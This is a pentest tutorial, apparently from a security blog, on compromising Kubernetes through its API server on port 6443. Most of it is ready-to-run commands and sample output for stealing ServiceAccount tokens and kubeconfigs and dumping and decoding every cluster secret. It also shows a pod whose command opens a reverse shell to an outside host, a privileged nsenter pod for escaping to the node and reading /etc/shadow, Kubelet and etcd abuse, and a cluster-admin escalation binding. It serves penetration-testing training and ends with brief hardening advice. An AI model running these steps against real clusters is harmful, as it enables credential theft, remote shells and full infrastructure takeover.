networking

Port 6443 Kubernetes API: Tokens, Secrets, and Cluster Admin

Port 6443 Kubernetes API: Tokens, Secrets, and Cluster Admin

Port 6443 Kubernetes APIs in the pentest: ServiceAccount token, secret extraction, pod access, escalation to cluster-admin, and cluster compromise.

  • Posted on 2026-04-15
  • Reading time: 5 min

The Kubernetes API Server is the brain of every Kubernetes cluster: every operation—from deploying a container to reading a secret—runs through its REST API on TCP port 6443 (HTTPS). In penetration testing, an exposed API server or a stolen ServiceAccount token is the most critical finding in cloud-native environments: it provides access to all secrets (database credentials, API keys, TLS certificates), all containers (with the ability to execute commands within each), and the ability to deploy privileged containers that grant root access to underlying nodes—the classic container escape.

In 2026, Kubernetes is the dominant orchestrator: AWS EKS, Azure AKS, Google GKE, and on-premises clusters. Every cloud provider uses it. Compromising the Kubernetes API means compromising the entire application infrastructure.

Kubernetes Architecture #

text
                         ┌─────────────────────────────┐
kubectl / API client ──► │ API Server (:6443)           │
                         │  ├── Authentication          │
                         │  ├── Authorization (RBAC)    │
                         │  └── Admission Control       │
                         └──────────────┬──────────────┘
                                        │
                    ┌───────────────────┼───────────────────┐
                    ▼                   ▼                   ▼
              ┌──────────┐       ┌──────────┐       ┌──────────┐
              │ Node 1   │       │ Node 2   │       │ Node 3   │
              │ kubelet  │       │ kubelet  │       │ kubelet  │
              │ Pod A    │       │ Pod B    │       │ Pod C    │
              │ Pod D    │       │ Pod E    │       │ Pod F    │
              └──────────┘       └──────────┘       └──────────┘
PortServiceFunction
6443API Server (HTTPS)Full cluster control
8443API Server (alternative)Some configurations
10250Kubelet APIPod management on nodes
10255Kubelet read-onlyPod info without auth
2379etcdCluster database (contains ALL secrets)
30000-32767Node PortServices exposed on nodes

1. Enumeration #

Nmap #

bash
nmap -sV -p 6443,8443,10250,10255,2379 10.10.10.40
text
PORT      STATE SERVICE    VERSION
6443/tcp  open  ssl/http   Kubernetes API Server
10250/tcp open  ssl/http   Kubelet API

Anonymous access test #

bash
# Verifica se l'API accetta richieste non autenticate
curl -sk https://10.10.10.40:6443/api/v1/namespaces
json
{
  "kind": "NamespaceList",
  "items": [
    {"metadata": {"name": "default"}},
    {"metadata": {"name": "kube-system"}},
    {"metadata": {"name": "production"}},
    {"metadata": {"name": "staging"}}
  ]
}

If you respond with data → anonymous access active (serious misconfiguration). If 403 Forbidden → authentication is required.

bash
# Versione del cluster
curl -sk https://10.10.10.40:6443/version
json
{
  "major": "1",
  "minor": "28",
  "gitVersion": "v1.28.4",
  "platform": "linux/amd64"
}

Exact version → look up CVE.

RBAC verification for anonymous users #

bash
# Cosa può fare l'utente anonimo?
curl -sk https://10.10.10.40:6443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -X POST -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'

2. Authentication Token #

Where do tokens come from? #

Kubernetes uses ServiceAccount tokens (JWTs) for authentication. These are found:

bash
# 1. Dentro ogni pod (montato automaticamente)
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# 2. Nei file kubeconfig di sviluppatori/admin
cat ~/.kube/config
find / -name "kubeconfig" -o -name ".kube" 2>/dev/null

# 3. Nei secret di Kubernetes stesso
# 4. In pipeline CI/CD (Jenkins, GitLab CI, GitHub Actions)
# 5. In variabili d'ambiente di container
# 6. Nei repository Git committati per errore

Using a stolen token #

bash
# Con curl
export TOKEN="eyJhbGciOiJSUzI1NiIs..."
curl -sk https://10.10.10.40:6443/api/v1/namespaces -H "Authorization: Bearer $TOKEN"
bash
# Con kubectl
kubectl --server=https://10.10.10.40:6443 --token=$TOKEN --insecure-skip-tls-verify get pods -A

Kubeconfig stolen #

bash
# Se trovi un file kubeconfig
export KUBECONFIG=/tmp/stolen_kubeconfig
kubectl get pods -A
kubectl get secrets -A

A kubeconfig of a cluster admin → full control.

3. Cluster Enumeration #

With authenticated access (token or kubeconfig):

bash
# Tutti i namespace
kubectl get namespaces

# Tutti i pod in tutti i namespace
kubectl get pods -A -o wide
text
NAMESPACE     NAME                          READY   NODE        IP
production    webapp-5d4f8b9c7d-abc12       1/1     node-01     10.244.1.5
production    api-backend-7f6c9d8e5b-def34  1/1     node-02     10.244.2.3
production    payment-svc-8a7b6c5d4e-ghi56  1/1     node-01     10.244.1.8
kube-system   coredns-5d78c9869d-xyz98      1/1     node-03     10.244.3.2
staging       debug-pod-manual              1/1     node-02     10.244.2.9
bash
# Tutti i servizi (con IP e porte)
kubectl get services -A

# Tutti i deployments
kubectl get deployments -A

# Tutti i nodi
kubectl get nodes -o wide

Check your permissions #

bash
# Cosa posso fare?
kubectl auth can-i --list

# Posso creare pod? (= RCE)
kubectl auth can-i create pods

# Posso leggere i secret? (= credenziali)
kubectl auth can-i get secrets

# Posso fare tutto? (= cluster-admin)
kubectl auth can-i '*' '*'

4. Secret Extraction — The Treasure of Kubernetes #

Kubernetes Secrets contain: database credentials, API keys, TLS certificates, OAuth tokens, encryption keys.

bash
# Lista tutti i secret
kubectl get secrets -A
text
NAMESPACE    NAME                          TYPE
production   db-credentials                Opaque
production   stripe-api-key                Opaque
production   tls-cert-webapp               kubernetes.io/tls
production   aws-credentials               Opaque
kube-system  default-token-abc12           kubernetes.io/service-account-token
bash
# Leggi un secret (base64 encoded)
kubectl get secret db-credentials -n production -o jsonpath='{.data}'
json
{
  "DB_HOST": "ZGItcHJvZC5jb3JwLmludGVybmFs",
  "DB_USER": "d2ViYXBw",
  "DB_PASSWORD": "VzNiQXBwX0RCXzIwMjUh"
}
bash
# Decode base64
echo "VzNiQXBwX0RCXzIwMjUh" | base64 -d
# W3bApp_DB_2025!

PostgreSQL / MySQL credentials in clear text.

bash
# Dump TUTTI i secret in un colpo
kubectl get secrets -A -o json | python3 -c "
import json,base64,sys
data = json.load(sys.stdin)
for item in data['items']:
    ns = item['metadata']['namespace']
    name = item['metadata']['name']
    if 'data' in item and item['data']:
        print(f'\n=== {ns}/{name} ===')
        for k,v in item['data'].items():
            try: print(f'  {k}: {base64.b64decode(v).decode()}')
            except: print(f'  {k}: [binary data]')
"

Script that decodes and exposes every cluster credential.

bash
# AWS credentials
kubectl get secret aws-credentials -n production -o jsonpath='{.data.AWS_SECRET_ACCESS_KEY}' | base64 -d

→ AWS privilege escalation.

5. RCE — Executing Commands in Pods #

bash
# Esegui un comando in un pod
kubectl exec -it webapp-5d4f8b9c7d-abc12 -n production -- /bin/bash
text
root@webapp-5d4f8b9c7d-abc12:/app# id
uid=0(root) gid=0(root) groups=0(root)

You are root inside the application container. From here:

bash
# Variabili d'ambiente (spesso contengono credenziali)
env | grep -iE "password|secret|token|key|database"

# Filesystem dell'app
cat /app/.env
cat /app/config/database.yml

# Token ServiceAccount (per muoversi nel cluster)
cat /var/run/secrets/kubernetes.io/serviceaccount/token

Deployment of a malicious pod #

If you can create pods (but not exec existing ones):

bash
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: attacker-pod
  namespace: default
spec:
  containers:
  - name: pwn
    image: ubuntu
    command: ["bash", "-c", "bash -i >& /dev/tcp/10.10.10.200/4444 0>&1"]
EOF

6. Container Escape — From Pod to Node #

Privileged Pod #

If you can create privileged pods → direct access to the node's filesystem:

bash
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: node-pwn
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: pwn
    image: ubuntu
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: host-fs
    command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "bash"]
  volumes:
  - name: host-fs
    hostPath:
      path: /
  nodeSelector:
    kubernetes.io/hostname: node-01
EOF
bash
kubectl exec -it node-pwn -- bash
text
root@node-01:/# id
uid=0(root) gid=0(root)
root@node-01:/# cat /etc/shadow

Root on the node — you've exited the container. Now: dump credentials for all pods on the node, log in to the host network, and pivot to other nodes and services.

For the complete guide: Container Escape.

7. etcd — The Secrets Database (port 2379) #

If etcd is exposed:

bash
# Leggi TUTTI i secret direttamente da etcd
etcdctl --endpoints=https://10.10.10.40:2379 \
  --cert=/tmp/etcd-cert.pem --key=/tmp/etcd-key.pem --cacert=/tmp/ca.pem \
  get / --prefix --keys-only | grep secret

etcdctl ... get /registry/secrets/production/db-credentials

etcd contains the complete state of the cluster — every secret, every configuration, every token.

8. Kubelet API (port 10250) #

If the Kubelet API is exposed:

bash
# Lista pod sul nodo
curl -sk https://10.10.10.41:10250/pods | python3 -m json.tool

# Esegui comandi in un pod via Kubelet (bypass API server RBAC!)
curl -sk https://10.10.10.41:10250/run/production/webapp-abc12/webapp \
  -d "cmd=id"

Kubelet is an alternative path: it bypasses the API server's RBAC and executes commands directly on the node.

9. Privilege Escalation to Cluster-Admin #

From Limited ServiceAccount to Cluster-Admin #

bash
# Se puoi creare ClusterRoleBinding
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=default:default
bash
# Se puoi creare pod nel namespace kube-system
# I pod in kube-system spesso hanno SA con permessi elevati
kubectl get sa -n kube-system
kubectl get clusterrolebinding -o json | grep -A5 "kube-system"
bash
# Se hai accesso al token di un SA privilegiato
# Cerca token montati in pod del kube-system
kubectl exec -it coredns-pod -n kube-system -- cat /var/run/secrets/kubernetes.io/serviceaccount/token

10. Detection & Hardening #

  • Restrictive RBAC — principle of least privilege for each ServiceAccount
  • Do not expose your server API to the Internet — access only via VPN or IP whitelist
  • Disable anonymous access --anonymous-auth=false
  • Network Policies — limits communication between namespaces
  • Pod Security Standards — block privileged pods, hostPID, hostNetwork
  • Rotate ServiceAccount tokens — do not use static tokens
  • etcd cipher — encryption at rest for secrets
  • Audit logging — every request to the server API is logged
  • Kubelet auth --anonymous-auth=false e --authorization-mode=Webhook
  • Do not mount SA token automatically automountServiceAccountToken: false
  • OPA/Gatekeeper — policy engine to block dangerous configurations

11. Final Cheat Sheet #

ActionCommand
Nmapnmap -sV -p 6443,10250,2379 target
Versioncurl -sk https://target:6443/version
Anonymous testcurl -sk https://target:6443/api/v1/namespaces
With tokenkubectl --token=TOKEN --server=https://target:6443 --insecure-skip-tls-verify
All podskubectl get pods -A -o wide
All the secretskubectl get secrets -A
Read secretkubectl get secret NAME -o jsonpath='{.data}' | base64 -d
My permissionskubectl auth can-i --list
Exec in the podkubectl exec -it POD -n NS -- /bin/bash
Pod Envkubectl exec POD -- env
SA tokencat /var/run/secrets/kubernetes.io/serviceaccount/token
Privileged Podkubectl apply -f priv-pod.yaml
Kubelet podscurl -sk https://node:10250/pods
Kubelet execcurl -sk https://node:10250/run/NS/POD/CONTAINER -d "cmd=id"
etcd secretsetcdctl get /registry/secrets/ --prefix

Reference: Kubernetes Security Documentation, HackTricks Kubernetes, Bishop Fox Kubernetes Pentesting. Use only in authorized environments. https://hackviser.com/tactics/pentesting/services/kubernetes

This project thrives thanks to the community. Support HackIta to keep the guides free, or invest in your growth with one-on-one training in ethical hacking.

#Kubernetes API #ServiceAccountToken #ClusterAdmin

leave a message

I'm not a robot